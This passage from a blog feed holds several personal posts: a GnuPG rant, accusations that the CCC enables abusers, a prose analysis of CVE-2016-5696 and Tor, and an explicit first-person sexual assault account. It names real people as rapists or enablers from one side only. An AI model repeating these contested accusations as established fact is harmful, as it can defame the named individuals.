entirely&nbsp;differently.</p> <p>If you&#8217;re a developer thinking you can write a less shitty version of GnuPG: please don&#8217;t. <span class="caps">RFC4880</span> was a mistake and needs to die in a fire. Also nobody under thirty actually uses email for anything other than signing up for&nbsp;services.</p> <p>If you&#8217;re a user or potential user of GnuPG: please don&#8217;t. Try using tools with safer, constant-time cryptographic implementations, better code, nicer and more inclusive development teams, and a better overall user experience, like <a href="proxy.php?url=https://signal.org/">Signal</a>.</p> <p>If you&#8217;re considering getting into GnuPG development: please don&#8217;t. Especially if you&#8217;re non-cis-male identified, it&#8217;s going to be a complete and infuriating waste of your time and talents. Please consider donating your skills to more inclusive projects with fewer moronic&nbsp;assholes.</p> <h1>Moving&nbsp;forward</h1> <p>There isn&#8217;t really any path forward. GnuPG and its underlying libgcrypt remain some of the worst C code I&#8217;ve ever read. The code isn&#8217;t constant time, and numerous attacks have resulted from this, as the developers scurry to jump through hoops of fire to implement yet another variable-timed algorithm they&#8217;ve seemingly come up with on the spot which is vulnerable to a dozen more attacks <em>just not that one from the latest paper</em>. OpenPGP (<span class="caps">RFC4480</span>) is one of the worst designs and specifications ever written. I have to spend spots, here and there, of my non-existent free time maintaining a whitelist as the GnuPG developers randomly change their internal, nearly undocumented line protocol, between micro versions. I&#8217;d like to not do this. Please, let&#8217;s stop pretending this crock of shit provides anything at all &#8220;pretty good&#8221;: not the cryptographic algorithms, not the code, not the user experience, and certainly not the goddamned <span class="caps">IPC</span>&nbsp;design.</p> <p>There is one way forward: Vinay is annoyed that my library has a similar name, because <em>god forbid a user get tricked into using something more secure</em>. Frankly, I&#8217;m sick of Vinay&#8217;s trash code being mistaken for mine, and increasingly so, the more vulnerabilities surface in it. So I&#8217;ve decided to rename the thing formerly installable with <code>pip install gnupg</code> to <code>pip install pretty_bad_protocol</code> (name thanks to <a href="proxy.php?url=https://twitter.com/withoutboats">boats</a>&#8216; <a href="proxy.php?url=https://github.com/withoutboats/pbp">pbp rust crate</a>). If you grep for <code>pretty_bad_protocol</code> in a python library which uses gnupg and there&#8217;s no results, you&#8217;ll know someone&#8217;s not being very honest about what gnupg has to&nbsp;offer.</p> <hr> <p>¹ I don&#8217;t speak for my current or past employers or&nbsp;clients.</p>The CCC: Men Who Hate Women2017-12-26T20:00:00+00:002018-07-06T20:24:13+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2017-12-26:/the-ccc-men-who-hate-women.html <p style="font-size: small;"> Content Warning: rape, sexual assault, whistleblower&nbsp;retaliation </p> <p>Sarah Jeong&#8217;s recent article, <a href=https://www.theverge.com/2017/12/21/16807116/infosec-community-sexual-predators-weinstein-assault><i>Vulnerabilities and exploits: what happened when the infosec community outed its own sexual predators</i></a>, discusses some positive cultural changes in North America since the outings of serial rapists Jacob Appelbaum and Morgan&nbsp;Marquis-Boire.</p> <p>This post is not about those positive changes. This post is about people and organisations which haven&#8217;t changed, such as the Chaos Computer Club (<span class="caps">CCC</span>), who have attempted to save face in public, while privately working to undermine positive change and enable&nbsp;rapists.</p> <p>In June 2016, <a href="proxy.php?url=https://blog.patternsinthevoid.net/the-forest-for-the-trees.html">I</a> and <a href="proxy.php?url=http://jacobappelbaum.net">others</a> spoke up about serial rapist and abuser, Jacob Appelbaum. Unlike other organisations — such as The Tor Project, or The Cult of the Dead Cow — the <span class="caps">CCC</span> delayed for more than a month in responding. Eventually, their hand was forced by <a href="proxy.php?url=https://twitter.com/chaosupdales/status/743197667157762048">a parody &#8220;@chaosupdales&#8221; Twitter account</a> announcing that the <span class="caps">CCC</span> had expelled Jake. First, the <span class="caps">CCC</span> clarified that they had not expelled Jake. Then, the <span class="caps">CCC</span> posted a vague statement that &#8220;all are welcome&#8221;. Finally, the <span class="caps">CCC</span> claimed that their statement had, &#8220;of course&#8221;, referred to Jake all along. Of course, they only clarified this on Twitter and never updated their statement. In English, this is called&nbsp;&#8220;gaslighting&#8221;.</p> <p>There were no Tor talks last year at 33C3, because every Tor talk submitted was silently removed by the <span class="caps">CCC</span> to &#8220;avoid controversy&#8221;. Before the congress, the <span class="caps">CCC</span> requested a meeting with their selection of representatives from Tor to discuss a way forward. I requested to attend the meeting, and was forbidden from attending by the <span class="caps">CCC</span> organisers, who said that the meeting would not occur if I were present. Two other members of the Tor community were expelled for their participation in <a href="proxy.php?url=http://jacobappelbaum.net/#stories">River&#8217;s brutal assault</a>. The <span class="caps">CCC</span> continued their pattern of feigning interest in making progress, while privately showing no interest in learning about what had happened from the&nbsp;survivors.</p> <p>One of those expelled was 7a573b399812f3260385bd1790cd3e22612fad1b02ad8d95946bd096f1c8455d (hereafter truncated to &#8220;7a573b39&#8221;), the second participant in River&#8217;s account, which describes a horrific assault while she was intoxicated to the point of being non-responsive. Unlike my coworkers, 7a573b39 was given a talk at 33C3. (Ironically, on a project I helped design and implement.) This was the <span class="caps">CCC</span>&#8217;s idea of the way&nbsp;forward.</p> <p>Survivors of Jacob&#8217;s abuse had collectively agreed to give 7a573b39 a second chance: he said he had been manipulated by Jake into participating in the rape; he did not appear to have committed any similar abuse; he expressed remorse and apologised to River; he claimed to have taken a class on not only recognising, but enacting bystander intervention in sexual&nbsp;harassment.</p> <p>Here is 7a573b39 nine months later, in September 2017, standing next to&nbsp;Jake:</p> <p></p><span id="wrapper" style="width:100%;"> <table id="wrapper-table" style="width:100%; padding:0.2em;"><tbody> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2017/12/ascrypto2017.JPG"> <img alt="7a573b39 and Jake" width="100%" src="proxy.php?url=./static/images/2017/12/ascrypto2017.JPG" /> </a> </td> </tr> </tbody></table> <p><br /></p></p> <p>This photo was taken in Cuba at ASCrypto, a self-described school for &#8220;graduate students in cryptography&#8221; aiming to &#8220;build cryptologic research capacity in the region&#8221;. 7a573b39 explained to others within the Tor Project that he hadn&#8217;t intended to run into Jake, and that Jake had &#8220;followed&#8221; him around &#8220;harassing …</p></span> <p style="font-size: small;"> Content Warning: rape, sexual assault, whistleblower&nbsp;retaliation </p> <p>Sarah Jeong&#8217;s recent article, <a href=https://www.theverge.com/2017/12/21/16807116/infosec-community-sexual-predators-weinstein-assault><i>Vulnerabilities and exploits: what happened when the infosec community outed its own sexual predators</i></a>, discusses some positive cultural changes in North America since the outings of serial rapists Jacob Appelbaum and Morgan&nbsp;Marquis-Boire.</p> <p>This post is not about those positive changes. This post is about people and organisations which haven&#8217;t changed, such as the Chaos Computer Club (<span class="caps">CCC</span>), who have attempted to save face in public, while privately working to undermine positive change and enable&nbsp;rapists.</p> <p>In June 2016, <a href="proxy.php?url=https://blog.patternsinthevoid.net/the-forest-for-the-trees.html">I</a> and <a href="proxy.php?url=http://jacobappelbaum.net">others</a> spoke up about serial rapist and abuser, Jacob Appelbaum. Unlike other organisations — such as The Tor Project, or The Cult of the Dead Cow — the <span class="caps">CCC</span> delayed for more than a month in responding. Eventually, their hand was forced by <a href="proxy.php?url=https://twitter.com/chaosupdales/status/743197667157762048">a parody &#8220;@chaosupdales&#8221; Twitter account</a> announcing that the <span class="caps">CCC</span> had expelled Jake. First, the <span class="caps">CCC</span> clarified that they had not expelled Jake. Then, the <span class="caps">CCC</span> posted a vague statement that &#8220;all are welcome&#8221;. Finally, the <span class="caps">CCC</span> claimed that their statement had, &#8220;of course&#8221;, referred to Jake all along. Of course, they only clarified this on Twitter and never updated their statement. In English, this is called&nbsp;&#8220;gaslighting&#8221;.</p> <p>There were no Tor talks last year at 33C3, because every Tor talk submitted was silently removed by the <span class="caps">CCC</span> to &#8220;avoid controversy&#8221;. Before the congress, the <span class="caps">CCC</span> requested a meeting with their selection of representatives from Tor to discuss a way forward. I requested to attend the meeting, and was forbidden from attending by the <span class="caps">CCC</span> organisers, who said that the meeting would not occur if I were present. Two other members of the Tor community were expelled for their participation in <a href="proxy.php?url=http://jacobappelbaum.net/#stories">River&#8217;s brutal assault</a>. The <span class="caps">CCC</span> continued their pattern of feigning interest in making progress, while privately showing no interest in learning about what had happened from the&nbsp;survivors.</p> <p>One of those expelled was 7a573b399812f3260385bd1790cd3e22612fad1b02ad8d95946bd096f1c8455d (hereafter truncated to &#8220;7a573b39&#8221;), the second participant in River&#8217;s account, which describes a horrific assault while she was intoxicated to the point of being non-responsive. Unlike my coworkers, 7a573b39 was given a talk at 33C3. (Ironically, on a project I helped design and implement.) This was the <span class="caps">CCC</span>&#8217;s idea of the way&nbsp;forward.</p> <p>Survivors of Jacob&#8217;s abuse had collectively agreed to give 7a573b39 a second chance: he said he had been manipulated by Jake into participating in the rape; he did not appear to have committed any similar abuse; he expressed remorse and apologised to River; he claimed to have taken a class on not only recognising, but enacting bystander intervention in sexual&nbsp;harassment.</p> <p>Here is 7a573b39 nine months later, in September 2017, standing next to&nbsp;Jake:</p> <p></p><span id="wrapper" style="width:100%;"> <table id="wrapper-table" style="width:100%; padding:0.2em;"><tbody> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2017/12/ascrypto2017.JPG"> <img alt="7a573b39 and Jake" width="100%" src="proxy.php?url=./static/images/2017/12/ascrypto2017.JPG" /> </a> </td> </tr> </tbody></table> <p><br /></p></p> <p>This photo was taken in Cuba at ASCrypto, a self-described school for &#8220;graduate students in cryptography&#8221; aiming to &#8220;build cryptologic research capacity in the region&#8221;. 7a573b39 explained to others within the Tor Project that he hadn&#8217;t intended to run into Jake, and that Jake had &#8220;followed&#8221; him around &#8220;harassing him&#8221; the whole&nbsp;time.</p> <p>7a573b39 is not a student of cryptography, so it seems pretty implausible that he&#8217;d fly all the way to Cuba for a cryptography school with lectures given by Jacob&#8217;s advisers and enablers, <a href="proxy.php?url=https://medium.com/@hdevalence/when-hell-kept-on-payroll-somewhere-is-where-you-are-f419d3022d0">Dan Bernstein and Tanja Lange</a>, and then be shocked (<em>shocked!</em>) to discover Jacob there. But even if this story were true, standing idly by your fellow abuser is not the action of someone who feels genuine remorse or&nbsp;regret.</p> <p>This appears to be the same pattern of behaviour as the <span class="caps">CCC</span>: in public, do the bare minimum to feign progress; in private, do whatever they think they can get away&nbsp;with.</p> <p>This year, for 34C3, the <span class="caps">CCC</span> rejected talks discussing harassment and abuse, yet they found time to give 7a573b39 <em>two</em> talks. They shut down conversations on paths towards progress, safety, and inclusivity, but they allow <a href="proxy.php?url=https://pbs.twimg.com/media/DRQupEeXUAAI_T7.jpg">an assembly</a> which proclaims &#8220;a code-of-conduct free zone&#8221;, warning attendees to &#8220;enter at own risk&#8221;. It is never enough to just work against abusers. The rot stems from within a larger system, and it is vital to fight, root and branch, against the organisations, structures, and people which enable sexual assault, harassment, and other forms of discrimination. The <span class="caps">CCC</span>&#8217;s actions have been entirely within bad faith, meant to cause and enable further harm. I do not say this lightly: the <span class="caps">CCC</span> hates&nbsp;women.</p> <hr> <p><em>Edit (2017-12-27 18:00): After additional conversations with River, we have agreed to edit this post in the following&nbsp;ways:</em></p> <p>First, it is important to clarify that River describes Jacob Appelbaum&#8217;s actions as rape, and the other participant&#8217;s actions as sexual assault. Further, we would like to make clear the differences between the two: Jacob has never attempted any apology to any of his survivors (and instead has proceeded to threaten and direct further abuses at them), while the other participant, as described above, has taken every step asked of him in an accountability process, only to afterwards betray survivors. There are degrees to violence and sexualised violence, and, within context, the actions of one abuser should not necessarily be categorised as equivalent to another. (The author, isis agora lovecruft, takes full responsibility for the mistakes in the original word choices and would like to point out the importance of having <a href="proxy.php?url=https://crimethinc.com/2013/04/17/accounting-for-ourselves-breaking-the-impasse-around-assault-and-abuse-in-anarchist-scenes">survivor-led processes and noting the ways in which accountability may fail</a>.)</p> <p>Second, we have chosen to redact the other participant&#8217;s name. While it is one thing to speak in our own words of his successes and failures in healing alongside with survivors, it is our fear that others will use his name with words that are not ours — that is, not survivor-led — in ways that might damage his capabilities for further healing and remediation. It is our hope to work with him to combat the ongoing damages of our patriarchal society, our systems entrenched with and built around (trans)misogyny, and to build entirely new systems and spaces for community interaction which prevent what we have survived from occuring in the&nbsp;future.</p>CVE-2016-5696 and its effects on Tor2016-08-11T15:29:00+00:002016-08-12T20:55:00+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2016-08-11:/cve-2016-5696-and-its-effects-on-tor.html <p><strong>tl;dr:</strong> This vulnerability is quite serious, but it doesn&#8217;t affect the Tor network any more than it affects the rest of the internet. In particular, the Tor-specific attacks mentioned in the paper will not work as&nbsp;described.</p> <p>Recently, <a href="proxy.php?url=http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf">an excellent paper</a>, entitled <em>&#8220;Off-Path <span class="caps">TCP</span> Exploits: Global Rate Limit Considered Dangerous,&#8221;</em> was published by Yue Cao, Zhiyun Qian, Zhongjie Wang, Tuan Dao, Srikanth V. Krishnamurthy, and Lisa M. Marvel at <a href="proxy.php?url=https://www.usenix.org/conference/usenixsecurity16"><span class="caps">USENIX</span> Security 2016</a>.</p> <p>The paper describes <a href="proxy.php?url=https://tools.ietf.org/html/rfc5961">the 2012 modifications of <span class="caps">RFC5961</span></a> to the specification of the Transmission Control Protocol (<span class="caps">TCP</span>), the latter of which is <a href="proxy.php?url=http://www.caida.org/research/traffic-analysis/tcpudpratio/">used to transport roughly 90% of our data</a> across the internet. The modification was meant to protect against <span class="caps">TCP</span> &#8220;blind in-window&#8221;&nbsp;attacks.</p> <p>When a <span class="caps">TCP</span> packet is sent, the sender and receiver both know a number, called the sequence number, that this packet should have. If the sequence number is not correct, various (complicated, boring) things may happen, but the important part is that neither the sender nor the receiver actually believes that this is a valid packet. Instead, they assume something went wrong somehow, or that an active attacker is attempting to inject packets into their communication stream. The term <em>blind</em> simply means that an attacker is unable to directly observe the packets going between the sender and receiver, but is usually instead trying to use some side-channel to determine this information. There&#8217;s another part of the <span class="caps">TCP</span> specification which describes <em>windowing</em> — which simply means (did I mention that <span class="caps">TCP</span> is very complicated and boring…) that the sequence number was &#8220;correct enough&#8221; — that is, that the sequence number was within the right range. Specification nerds have long argued over what &#8220;correct enough&#8221; means, because apparently they find this topic absolutely <em>riveting</em>.</p> <p>The fix to the <span class="caps">TCP</span> blind in-window attack was to specify that, under certain conditions, if the <span class="caps">TCP</span> sequence number doesn&#8217;t match what was expected, the receiver of this messed up packet should send a &#8220;challenge&#8221; <span class="caps">ACK</span> to the sender. Depending on the type of messed-up-ness, the sender and receiver do one of a number of little dances with each other, in the special way that <span class="caps">TCP</span> is so fond of doing. When one party sends a challenge <span class="caps">ACK</span>, they increment a counter stored in a global variable which is shared across all <span class="caps">TCP</span> connections. This global variable is reset to 0 once per second, and it has a maximum value of 100, i.e. no more than 100 challenge ACKs will be sent per second (for all connections combined). If it wasn&#8217;t obvious from the title of the paper, global variables (across programming languages, frameworks, and contexts) are commonly known to be a very bad, no good, horrible&nbsp;idea.</p> <p>The attack described in the paper is elegant. In terms of its impact, <a href="proxy.php?url=https://en.wikipedia.org/wiki/Usage_share_of_operating_systems#Public_servers_on_the_Internet">96.6% of the Alexa top one million</a> are running Linux kernels, and hence are likely vulnerable. The previously described global <span class="caps">ACK</span> counter enables various side-channels <em>across</em> <span class="caps">TCP</span> connections, meaning that a blind attacker can determine …</p> <p><strong>tl;dr:</strong> This vulnerability is quite serious, but it doesn&#8217;t affect the Tor network any more than it affects the rest of the internet. In particular, the Tor-specific attacks mentioned in the paper will not work as&nbsp;described.</p> <p>Recently, <a href="proxy.php?url=http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf">an excellent paper</a>, entitled <em>&#8220;Off-Path <span class="caps">TCP</span> Exploits: Global Rate Limit Considered Dangerous,&#8221;</em> was published by Yue Cao, Zhiyun Qian, Zhongjie Wang, Tuan Dao, Srikanth V. Krishnamurthy, and Lisa M. Marvel at <a href="proxy.php?url=https://www.usenix.org/conference/usenixsecurity16"><span class="caps">USENIX</span> Security 2016</a>.</p> <p>The paper describes <a href="proxy.php?url=https://tools.ietf.org/html/rfc5961">the 2012 modifications of <span class="caps">RFC5961</span></a> to the specification of the Transmission Control Protocol (<span class="caps">TCP</span>), the latter of which is <a href="proxy.php?url=http://www.caida.org/research/traffic-analysis/tcpudpratio/">used to transport roughly 90% of our data</a> across the internet. The modification was meant to protect against <span class="caps">TCP</span> &#8220;blind in-window&#8221;&nbsp;attacks.</p> <p>When a <span class="caps">TCP</span> packet is sent, the sender and receiver both know a number, called the sequence number, that this packet should have. If the sequence number is not correct, various (complicated, boring) things may happen, but the important part is that neither the sender nor the receiver actually believes that this is a valid packet. Instead, they assume something went wrong somehow, or that an active attacker is attempting to inject packets into their communication stream. The term <em>blind</em> simply means that an attacker is unable to directly observe the packets going between the sender and receiver, but is usually instead trying to use some side-channel to determine this information. There&#8217;s another part of the <span class="caps">TCP</span> specification which describes <em>windowing</em> — which simply means (did I mention that <span class="caps">TCP</span> is very complicated and boring…) that the sequence number was &#8220;correct enough&#8221; — that is, that the sequence number was within the right range. Specification nerds have long argued over what &#8220;correct enough&#8221; means, because apparently they find this topic absolutely <em>riveting</em>.</p> <p>The fix to the <span class="caps">TCP</span> blind in-window attack was to specify that, under certain conditions, if the <span class="caps">TCP</span> sequence number doesn&#8217;t match what was expected, the receiver of this messed up packet should send a &#8220;challenge&#8221; <span class="caps">ACK</span> to the sender. Depending on the type of messed-up-ness, the sender and receiver do one of a number of little dances with each other, in the special way that <span class="caps">TCP</span> is so fond of doing. When one party sends a challenge <span class="caps">ACK</span>, they increment a counter stored in a global variable which is shared across all <span class="caps">TCP</span> connections. This global variable is reset to 0 once per second, and it has a maximum value of 100, i.e. no more than 100 challenge ACKs will be sent per second (for all connections combined). If it wasn&#8217;t obvious from the title of the paper, global variables (across programming languages, frameworks, and contexts) are commonly known to be a very bad, no good, horrible&nbsp;idea.</p> <p>The attack described in the paper is elegant. In terms of its impact, <a href="proxy.php?url=https://en.wikipedia.org/wiki/Usage_share_of_operating_systems#Public_servers_on_the_Internet">96.6% of the Alexa top one million</a> are running Linux kernels, and hence are likely vulnerable. The previously described global <span class="caps">ACK</span> counter enables various side-channels <em>across</em> <span class="caps">TCP</span> connections, meaning that a blind attacker can determine information&nbsp;about:</p> <ol> <li>whether Alice and Bob are currently communicating over <span class="caps">TCP</span>,</li> <li>what the correct <span class="caps">TCP</span> sequence number is,&nbsp;and</li> <li>what the range of the valid window&nbsp;is.</li> </ol> <p>The attacker does this by sending various crafted packets to the receiver (i.e. via a side-channel) while the sender is simultaneously sending valid packets to the receiver. The combined state of the attacker&#8217;s and the sender&#8217;s effects upon the global counter, for each of the above pieces of information, can be determined by whether the attacker receives either 99 or 100 ACKs in&nbsp;response:</p> <p></p><span style="align:left; float:left; width:100%;"> <table style="float:left; clear:left; width:100%; margin: 1px;"> <tbody> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=/static/images/2015/12/card.jpeg"> <img alt="Off-Path TCP Exploits, Fig. 4-6" style="width: 100%;" src="proxy.php?url=/static/images/2016/08/CVE-2016-5696.png" /> </a> </td> </tr> </tbody> </table> </span> </p><br /><p></p> <p>The authors go on to claim the attack can be used to influence a Tor user&#8217;s path through the network. However, the authors seem to have a misunderstanding regarding how Tor&#8217;s path selection algorithm&nbsp;functions.</p> <p>Their idea is summarised in the last paragraph of §7.2 of the paper (emphasis&nbsp;mine):</p> <blockquote> <p>In general, we believe that a DoS attack against Tor connections can have a devastating impact on both the availability of the service as a whole and the privacy guarantees that it can provide. The default policy in Tor is that if a connection is down between two relay nodes, say a middle relay and an exit relay, <strong>the middle relay will pick a different exit relay</strong> to establish the next connection. If an attacker can dictate which connections are down (via reset attacks), then the attacker can potentially force the use of certain exit&nbsp;relays.</p> </blockquote> <p>This is is technically incorrect. The way Tor&#8217;s path selection algorithm actually works — when a connection fails — is that the client forgets the path of that circuit entirely, and goes back to step #1 of the algorithm, effectively choosing an entirely new path without any memory of the path chosen before. Since the selection of the nodes in this new path (and in fact, any path) is dependent on their bandwidth weight from the consensus, the client has just as much probability to select the same exit as they did the last time. Therefore, to use this attack to &#8220;funnel&#8221; (as the authors describe) Tor users into using a particular exit node is of equal difficulty — in terms of bandwidth of the nodes you would need to run — to conducting a Sybil attack on the whole&nbsp;network.</p> <p>Although, with a high-bandwidth exit in a sybil attack, the attacker has a high (and importantly, to the attack&#8217;s benefit, independent) probability that an exit it controls will get picked by the client. Whereas with this attack, the bandwidth weighting is likely detrimental to pulling off the attack, since the exits you&#8217;re injecting RSTs into <em>still</em> have independently high probabilities of being chosen again. In other words, <em>knocking nodes out of the network doesn&#8217;t do anything to change their probability of being chosen</em>, it merely makes them unavailable and thus only amounts to a DoS attack, not a path bias&nbsp;attack.</p> <p>While the attack on Tor — as stated in the paper — <em>does not</em> work, the attack itself is impressive, and we encourage these (and other!) researchers to think of ways the attack might apply to Tor (and other&nbsp;networks).</p> <p>Their attack <em>does</em> work as a general denial-of-service against not just Tor relays, but literally against anything running&nbsp;Linux.</p> <p>The <a href="proxy.php?url=https://github.com/torvalds/linux/commit/75ff39ccc1bd5d3c455b6822ab09e533c551f758">accepted Linux kernel patch</a> solves the issue, and does so by randomising the time window that the global variable applies&nbsp;to.</p>The Forest for the Trees2016-06-13T10:29:00+00:002016-06-15T14:55:00+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2016-06-13:/the-forest-for-the-trees.html <p>It feels rather sardonic to say this now, openly, after two years spent alternating between trying to inhibit my rage and convince myself that I hadn&#8217;t been hurt, followed by seeking out other victims, in order to develop the collective capacity to defend ourselves and to have the simple ability to speak out in a manner which would be heard and not&nbsp;discarded.</p> <p><a href="proxy.php?url=http://jacobappelbaum.net/#portfolioModal4">I&#8217;m Forest</a>. Here&#8217;s my story, as submitted to the anonymous site <a href="proxy.php?url=http://jacobappelbaum.net">jacobappelbaum.net</a>:</p> <div style="background: #EFEFEF; padding: 2%; width: 90%; margin-bottom: 1.13em; margin-left: 3%; border-radius: 5px;"> <div style="font-size: 100%"> <p> Jake and I had been friends and coworkers for years. Looking back on it, I&#8217;m not sure why. From the very first Tor developer meeting I had attended, he repetitively propositioned my partner and I for sex. He even went so far as to, on the very first meeting on the first morning, in front of all the other developers — whom I had not yet met — tell me that he was okay with my partner and I fucking in the same bed as him while he watched, causing both of my partner and I to feel completely humiliated that our private sex life was being discussed in front of colleagues we had hoped to build a good start towards friendly, professional&nbsp;relationships. </p><p> While travelling, the first time he came to the city I lived in, I invited him to stay at my house. As politely as I could, I explained, &#8220;You can have the floor, and I&#8217;ll take my bed, or the other way around. If you&#8217;re comfortable with it, we can share my bed, as friends. Meaning no physical contact.&#8221; We both slept in my&nbsp;bed. </p><p> That turned out (mostly) fine. (Except, of course, being propositioned again, this time for a threesome with Jake and one of my roommates.) In fact, Jake and I proceeded to share beds in a friendly manner over the years, and nothing bad ever&nbsp;happened. </p><p> Once Jake had moved to Germany, I came to visit friends there for a while, and one night I stayed at Jake&#8217;s place. Again, we shared a bed, as friends. There weren&#8217;t even any discussion or attempts beforehand to convince me to do anything sexual with him. It was freezing cold, and I went to bed with several layers of street clothes&nbsp;on. </p><p> Sometime around 5 o&#8217;clock in the morning, I woke up very confused and startled because my pants were unzipped and Jake&#8217;s arm was wrapped around me, his hands in my underwear and he was rubbing my clit and rimming the edges of my vagina. I tried to shove him off me and wake him up. He&#8217;s physically much bigger than me, so the shoving didn&#8217;t work as well as it should have, but nonetheless he rolled over, a bit exageratedly, mumbling as if&nbsp;asleep. </p><p> In the morning, I confronted him about it. I was really confused. I didn&#8217;t know if he was actually asleep, but if he was, how did my clothes come undone? Assuming that if …</p></div></div> <p>It feels rather sardonic to say this now, openly, after two years spent alternating between trying to inhibit my rage and convince myself that I hadn&#8217;t been hurt, followed by seeking out other victims, in order to develop the collective capacity to defend ourselves and to have the simple ability to speak out in a manner which would be heard and not&nbsp;discarded.</p> <p><a href="proxy.php?url=http://jacobappelbaum.net/#portfolioModal4">I&#8217;m Forest</a>. Here&#8217;s my story, as submitted to the anonymous site <a href="proxy.php?url=http://jacobappelbaum.net">jacobappelbaum.net</a>:</p> <div style="background: #EFEFEF; padding: 2%; width: 90%; margin-bottom: 1.13em; margin-left: 3%; border-radius: 5px;"> <div style="font-size: 100%"> <p> Jake and I had been friends and coworkers for years. Looking back on it, I&#8217;m not sure why. From the very first Tor developer meeting I had attended, he repetitively propositioned my partner and I for sex. He even went so far as to, on the very first meeting on the first morning, in front of all the other developers — whom I had not yet met — tell me that he was okay with my partner and I fucking in the same bed as him while he watched, causing both of my partner and I to feel completely humiliated that our private sex life was being discussed in front of colleagues we had hoped to build a good start towards friendly, professional&nbsp;relationships. </p><p> While travelling, the first time he came to the city I lived in, I invited him to stay at my house. As politely as I could, I explained, &#8220;You can have the floor, and I&#8217;ll take my bed, or the other way around. If you&#8217;re comfortable with it, we can share my bed, as friends. Meaning no physical contact.&#8221; We both slept in my&nbsp;bed. </p><p> That turned out (mostly) fine. (Except, of course, being propositioned again, this time for a threesome with Jake and one of my roommates.) In fact, Jake and I proceeded to share beds in a friendly manner over the years, and nothing bad ever&nbsp;happened. </p><p> Once Jake had moved to Germany, I came to visit friends there for a while, and one night I stayed at Jake&#8217;s place. Again, we shared a bed, as friends. There weren&#8217;t even any discussion or attempts beforehand to convince me to do anything sexual with him. It was freezing cold, and I went to bed with several layers of street clothes&nbsp;on. </p><p> Sometime around 5 o&#8217;clock in the morning, I woke up very confused and startled because my pants were unzipped and Jake&#8217;s arm was wrapped around me, his hands in my underwear and he was rubbing my clit and rimming the edges of my vagina. I tried to shove him off me and wake him up. He&#8217;s physically much bigger than me, so the shoving didn&#8217;t work as well as it should have, but nonetheless he rolled over, a bit exageratedly, mumbling as if&nbsp;asleep. </p><p> In the morning, I confronted him about it. I was really confused. I didn&#8217;t know if he was actually asleep, but if he was, how did my clothes come undone? Assuming that if I was super confrontational about it, he&#8217;d have some excuse like &#8220;Oh, but I thought it was okay that time because you didn&#8217;t explicitly give me the we&#8217;re-just-friends lecture before bed…&#8221; When confronting Jake about this, I said, &#8220;Dude, what the fuck. You started fingering me last night.&#8221; It took a few seconds for there to be a reaction on his face, and then he seemed confused, saying &#8220;Oh… what? I don&#8217;t remember that.&#8221; I glared at&nbsp;him. </p><p> The really disconcerting thing for me was that, half an hour later, he said, &#8220;I thought you were her.&#8221; Here, &#8220;her&#8221; was Jake&#8217;s fiancée. At the time, she didn&#8217;t live in Germany, and they hadn&#8217;t seen each other in weeks. Jake&#8217;s fiancée was also gorgeous and super curvy, and I am basically a scrawny, little twig. &#8220;I&#8217;m not sure how you could confuse us, even asleep.&#8221; I said. He continued muttering some excuses about having wet dreams about her. He seemed to suddenly and extremely vividly remember whatever dream. Nowhere did he say, &#8220;I didn&#8217;t put my hands in your panties,&#8221; nor did he&nbsp;apologise. </p> </div> </div> <h3>Transformative Justice is not the &#8220;Death of Due&nbsp;Process&#8221;</h3> <p>First, some backstory is in&nbsp;order.</p> <p>Seven or eight years ago, I was involved in an anarchist collective process for a male person in an anarchist activist community who was accused of and eventually admitted to raping two anarchist women. Since none of us would turn him in to the police, we gave him a choice of either leaving or going through a rehabilitation programme which we would create, in an attempt to transform him into someone just as capable of contributing in all the productive ways he already was but without harming other people and decreasing their abilities to contribute and to do so safely. We warned him that, if he skipped town, I would personally hunt him down to whatever city he ran to, contact the anarchist organisers there, and attempt to give them (as non-biased as possible) an account of the events. He didn&#8217;t&nbsp;run.</p> <p>At first, he participated grudgingly, but later he broke down crying in front of the two victims, apologising sincerely and begging them for forgiveness. As part of the rehabilitation, one of the things we determined to be cause for his behaviour was a very negative self-body image, i.e. he was quite overweight and under the impression that women &#8220;only like dudes who are ripped&#8221;. Part of my responsibilities in the rehab process was to go to the gym with him, to help him have better body image, demonstrate that not all women are into &#8220;dudes who are ripped&#8221;, and help him become more comfortable with the idea that women are intelligent creatures as opposed to being merely some sexual object to be won over. He eventually successfully convinced both us and the victims that he would not abuse anyone else. To date this has been successful, and he&#8217;s had healthy relationships with several partners, including a&nbsp;transperson.</p> <h3>The&nbsp;Plan</h3> <p>When I first started seeking out other victims, about six months ago, I did not want to formally report any of the stories I had heard from Jake&#8217;s victims to the Tor Project or others, for two primary reasons. First, that my main motivation in this was to ensure that these behaviours stopped, and it was not clear to me that any traditional punitive &#8220;justice&#8221; measures would achieve such. Second, I feared retaliation from Jake, as well as retaliation towards any of the victims whose stories I would divulge. Multiple victims at the time expressed that they didn&#8217;t want me to tell The Tor Project, later admitting they feared retaliation to be extremely likely, as well as difficult to&nbsp;combat.</p> <p>Instead, I had planned to gather people for a secret meeting in Valencia, somewhere calm, neutral, and away from events, like on the beach, invite Jake, and have everyone willing who has ever been sexually assaulted, humiliated, harassed, or felt their boundaries disrespected, by him to take turns telling a few sentences about what he did to them and how it made them feel. Then we would tell Jake that, as his friends, we thought this needed to stop, and that we&#8217;d either deliver a list of the stories to The Tor Project and other organisations, or make all the stories public, if he refused to hold himself accountable for his actions or his behaviour did not appear to improve. In planning this secret meeting, I tried to determine what would cause Jake to perpetually disrespect other people like this, and if there were any positive things we could do to help&nbsp;him.</p> <p>Somehow Jake got word of all this, and proceeded to go back and forth between everyone I knew, starting, it seems, with one of my roommates and a reporter acquaintance, to force information out of these people, including more names of more people involved (to force more information out of). He seemed to have put the whole story together from all the bits and pieces he was given. In between my efforts to get work done and give a lecture, he imposed on me that my ten minutes of coffee break time should be spent speaking with him, because it was An Emergency. During that rather one-sided conversation, Jake described all the time, effort, and ways he was using in order to completely ruin someone&#8217;s life who had attempted to stand up to him, as well as previous ways he had managed to get someone fired from their position and ostracised. He pointedly mentioned, several times, the names of multiple people who he had destroyed in the past for standing against him. In his current efforts to harass one of these people — which through backchannels I was already aware of, he said, <em>&#8220;I&#8217;ve literally been spending 15 hours a day on this.</em> […] <em>I&#8217;ve been speaking with an investigative journalist team to make sure 